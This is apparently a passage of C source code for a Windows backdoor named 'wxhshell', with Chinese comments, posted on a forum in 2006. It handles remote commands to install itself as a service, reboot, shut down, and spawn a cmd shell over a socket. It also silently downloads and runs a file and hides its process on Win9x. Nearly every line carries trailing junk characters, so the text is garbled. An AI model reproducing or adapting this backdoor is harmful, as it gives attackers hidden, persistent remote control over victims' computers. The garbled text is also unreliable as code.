      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1h& )I%`?  
    break; P=}H1 #  
  } lxr@[VQ  
  // 安装 %y!   
  case 'i': { U3(L.8(sA  
    if(Install()) 8rnb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5I wX\  
    else `*|LI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H@Kl  
    break; zvWO4\  
    } zS,%msT^A  
  // 卸载 Y!Usce  
  case 'r': { (0O`A~M3  
    if(Uninstall()) Cv gPIrl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MM/BJ  
    else /5a$@%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *_}IeNc  
    break; LS*{]@8q  
    } Sj,4=a  
  // 显示 wxhshell 所在路径 m3h2/}%9`  
  case 'p': { 1"*Nb5s  
    char svExeFile[MAX_PATH]; U1OLI]P  
    strcpy(svExeFile,"\n\r"); O1l4gduN|i  
      strcat(svExeFile,ExeFile); Q';\tGy  
        send(wsh,svExeFile,strlen(svExeFile),0); 5EVB27k  
    break; }39M_4a&  
    } (e>RNn\  
  // 重启 P6.)P|n7=  
  case 'b': { +5N^TnBtBL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KzxW?Ji$S  
    if(Boot(REBOOT)) mkKRC;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZA 99vO  
    else { e2,<,~_K6  
    closesocket(wsh); \emT:Frb  
    ExitThread(0); ;D %5 nnr  
    } [)T$91 6I  
    break; Oi+Qy[y2  
    } Y)@oo=oG  
  // 关机 =[v2   
  case 'd': { B' P,?`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b tr x?k(  
    if(Boot(SHUTDOWN)) 1o"y%*"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38zR\@'j]4  
    else { :y<Cd[/  
    closesocket(wsh); NzwGc+\7}  
    ExitThread(0); W0p#Y h:{_  
    } s /k  
    break; ?eY chVq  
    } eB}sg4  
  // 获取shell m bB\~n  
  case 's': { l7=$4As/hI  
    CmdShell(wsh); :7 s#5b  
    closesocket(wsh); * wQZ '  
    ExitThread(0); q/aL8V<"z  
    break; h|$zHm  
  } & y 2GQJE  
  // 退出 }lr fO_  
  case 'x': { bUZ&}(/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z[<pi :  
    CloseIt(wsh); : .UX[!^  
    break; k;AV;KWI'  
    } U)T/.L{0i  
  // 离开 &~D.")Dz  
  case 'q': { @et3}-c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -jklH/gF\%  
    closesocket(wsh); ^OGH5@"  
    WSACleanup(); ocDVCCkxg  
    exit(1); !X#3w-K  
    break; PgGrk5;  
        } e!L sc3@  
  } )PLc+J.I  
  } "pKGUM  
"' i [~  
  // 提示信息 ,vHX>)M|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b(.o|d/P  
} yx`r;|ds}  
  } ]#WX|0''^  
Hme@9(zD.  
  return; SFm.<^6  
} z!uB&2C{k  
? ><   
// shell模块句柄 lD+y, ";  
int CmdShell(SOCKET sock) BGk<NEzH  
{ 2EI m  
STARTUPINFO si; 7\|NYT4  
ZeroMemory(&si,sizeof(si)); Vq;{+j(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N5I W@?4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B@~eBU,$  
PROCESS_INFORMATION ProcessInfo; njx\$,ruN  
char cmdline[]="cmd"; O#89M%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x]jdx#'  
  return 0; J6?_?XzToT  
} ^ZViQ$a"h;  
Z<m'he  
// 自身启动模式 "}y3@ M^  
int StartFromService(void) ybuSqFy`$  
{ / F  
typedef struct |M{,}.*CU  
{ ysw6hVb  
  DWORD ExitStatus; ?X5glDZ$  
  DWORD PebBaseAddress; SieV%T0t1  
  DWORD AffinityMask; 13NS*%~7[  
  DWORD BasePriority; pC?1gc1G  
  ULONG UniqueProcessId; 2L{:H  
  ULONG InheritedFromUniqueProcessId; C#u)$Ds  
}   PROCESS_BASIC_INFORMATION; p Z|nn  
,"lBS?  
PROCNTQSIP NtQueryInformationProcess; 1:~m)"?I_^  
p<^/T,&I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f<t*#]<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2>_LX!kyP]  
n4 6PQm%p  
  HANDLE             hProcess; .4m3@!qo)E  
  PROCESS_BASIC_INFORMATION pbi; )]e d;V  
QIxJFr;>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]t!}D6p  
  if(NULL == hInst ) return 0; '-1jWw:8  
<45dy5!Tz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2K7:gd8Ru  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aN);P>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]oZ,{Q5~  
&>^Ympr  
  if (!NtQueryInformationProcess) return 0; 8"I5v(TV  
(;S]{z%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C Wl95g  
  if(!hProcess) return 0; gT\y&   
Ia>th\_&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9!/1F !  
l`w|o  
  CloseHandle(hProcess); tS.b5$Q  
DB?PS^-2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j9 &AMg  
if(hProcess==NULL) return 0; whp\*]8  
LW8{a&  
HMODULE hMod; "u$ ]q1S  
char procName[255]; BtBt>r(*  
unsigned long cbNeeded; ]KV8u1H>  
di P4]/%1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /JY ph^3][  
^eT>R,aB  
  CloseHandle(hProcess); ,Z\,IRn  
\?]HqPibx  
if(strstr(procName,"services")) return 1; // 以服务启动 *V<2\-  
6'lT`E|  
  return 0; // 注册表启动 [q|Q]O0  
} #mFAl|O  
VDI S`E  
// 主模块 >IydXmTy  
int StartWxhshell(LPSTR lpCmdLine) Spw=+z<<Ub  
{ |Btx&'m  
  SOCKET wsl; Q~8&pP8 I!  
BOOL val=TRUE; Env}gCX  
  int port=0; a9q?9X  
  struct sockaddr_in door;  C(Gb  
T/.y(8!0I8  
  if(wscfg.ws_autoins) Install(); ra#)*fG,~  
aNf3 R;*  
port=atoi(lpCmdLine); n7YWc5:CaL  
OG$iZiuf  
if(port<=0) port=wscfg.ws_port; KKTfxNxJn  
WiCM,wDi  
  WSADATA data; 4 Fc1 '  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tf}Q%)`f  
:zy'hu;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   thboHPml{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o2U J*4  
  door.sin_family = AF_INET; z\ $>k_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Zp]vK~s  
  door.sin_port = htons(port); xM"XNT6b  
qk{UO <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [#h!3d|?B  
closesocket(wsl); oUS>p":  
return 1; )x O_  
} z_0lMX`  
T%#P??k  
  if(listen(wsl,2) == INVALID_SOCKET) { V<I${i$]0  
closesocket(wsl); g. VIe  
return 1; #)eJz1~  
} T#;*I#A:  
  Wxhshell(wsl); (ZR"O8  
  WSACleanup(); rnr8t]  
T k=3"y+u[  
return 0; FQ ^^6Rl  
_BA_lkN+D  
} iSW73P;)  
49kia!FR  
// 以NT服务方式启动 `r bqYU0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6_ 0w>  
{ v-aq".XQ  
DWORD   status = 0; 2Ab#uPBn  
  DWORD   specificError = 0xfffffff; E|#R0n*  
QX3![;0F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a;6\T*iJ!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {Ag}P0% '  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P`v~L;f  
  serviceStatus.dwWin32ExitCode     = 0; -L<Pm(v&  
  serviceStatus.dwServiceSpecificExitCode = 0; `lOoT  
  serviceStatus.dwCheckPoint       = 0; Xr;noV-X  
  serviceStatus.dwWaitHint       = 0; W3j|%  
l[0P*(I,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6spk* 8e  
  if (hServiceStatusHandle==0) return; u(a&x|WY  
6?x{-Zj ^?  
status = GetLastError(); vrDRSc6_  
  if (status!=NO_ERROR) < tq9  
{ ty=?SZF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2g545r.  
    serviceStatus.dwCheckPoint       = 0; \<>%_y'/)h  
    serviceStatus.dwWaitHint       = 0; a<36`#N  
    serviceStatus.dwWin32ExitCode     = status; z=pV{ '  
    serviceStatus.dwServiceSpecificExitCode = specificError; .T X& X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oh)l\  
    return; UAO#$o(  
  } oU5mrS.7M!  
~n 9DG>a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T+"y8#:  
  serviceStatus.dwCheckPoint       = 0; 9\0 K%LL  
  serviceStatus.dwWaitHint       = 0; ;z=C]kI6M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PTZ1 oD  
} X'4 Yofs  
]V("^.~$+C  
// 处理NT服务事件,比如:启动、停止 RN| ..zml  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VMXXBa&  
{ pa73`Ca]  
switch(fdwControl) B)`X 7uG  
{ rl7Y=*Dv  
case SERVICE_CONTROL_STOP: ]vFmY  
  serviceStatus.dwWin32ExitCode = 0; }w8AnaC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aH"c0 A  
  serviceStatus.dwCheckPoint   = 0; ?d)|vX3Uf  
  serviceStatus.dwWaitHint     = 0; EKD>c$T^  
  { Qq`\C0RZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /)|y+<E]}  
  } ,]"u!,yHb  
  return; 8;NO>L/J]i  
case SERVICE_CONTROL_PAUSE: P9^h>sV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =*U24B*U93  
  break; @>j \~<%  
case SERVICE_CONTROL_CONTINUE: JwczE9~o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?@(H. D6'v  
  break; uK5Px!  
case SERVICE_CONTROL_INTERROGATE: hj1 jY  
  break; :W.(,65c  
}; :wAB"TCt0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1w^[Eno$$  
} ufPQ~,.  
TZ2f-KI  
// 标准应用程序主函数 B6o AW,3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OK}"|:hrd  
{ F# wa)XH  
z+I-3v  
// 获取操作系统版本 b1o(CG(}*  
OsIsNt=GetOsVer(); !Esiq<Yh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xGA0] _  
`pUArqf  
  // 从命令行安装 o7seGw<$X  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,;18:  
PBv43uIL  
  // 下载执行文件 VA.1J BQ  
if(wscfg.ws_downexe) { }6N|+z.cU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mY( _-[W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]H[\~J  
} 2[hl^f^%,  
V:J6eks_  
if(!OsIsNt) { Us5 JnP5  
// 如果时win9x,隐藏进程并且设置为注册表启动 sSK$  
HideProc(); 8msDJ {,X  
StartWxhshell(lpCmdLine); t79MBgZ  
} Oa .%n9ec  
else |VL,\&7rk  
  if(StartFromService()) F o6U "  
  // 以服务方式启动 =x}/q4}L  
  StartServiceCtrlDispatcher(DispatchTable); `-\ "p;Hp0  
else -~k2Gy;E  
  // 普通方式启动 s_TM!LRUcw  
  StartWxhshell(lpCmdLine); oJ+$&P(  
o*xEaD  
return 0; TbuR?#  
}
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只看该作者 1 发表于: 2006-10-10
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